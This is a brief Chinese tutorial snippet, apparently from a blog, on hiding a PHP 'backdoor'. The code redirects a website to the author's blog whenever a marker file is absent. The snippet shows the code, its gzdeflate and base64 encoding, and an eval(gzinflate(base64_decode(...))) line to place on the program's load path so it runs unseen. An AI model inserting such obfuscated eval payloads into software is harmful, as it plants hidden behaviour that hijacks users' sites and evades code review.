-
首先将后门源代码加密，得到加密后的代码。
$encode = <<<EOF
if(!file_exists(dirname(dirname(dirname(__FILE__))).'/blog.51cto.com.chinaleo')){
header('Location:https://blog.51cto.com/chinaleo');
exit();
}
EOF;
echo base64_encode( gzdeflate( $encode ) );
得到字符串“48xM01BMy8xJjU+tyCwuKdZIySzKS8xNxaDj4908fVzj4zU1NfXU9ZMzMvMSc1Lz9ZJy8tP1TA2TS/L1kvNz1TU1q3m5FKAgIzUxJbVIQ90nPzmxJDM/zyqjpKTASl8fVQ/cLHVNa4ReoGtKNCACnLUA”，这就是密文
- 将密文用以下方式放在程序加载的路径上来执行。
eval( gzinflate( base64_decode( '48xM01BMy8xJjU+tyCwuKdZIySzKS8xNxaDj4908fVzj4zU1NfXU9ZMzMvMSc1Lz9ZJy8tP1TA2TS/L1kvNz1TU1q3m5FKAgIzUxJbVIQ90nPzmxJDM/zyqjpKTASl8fVQ/cLHVNa4ReoGtKNCACnLUA' ) ) );
- 如果用户的文件夹里没有我的网站宣传文件“blog.51cto.com.chinaleo”，则将网站强制跳转到我的博客。
|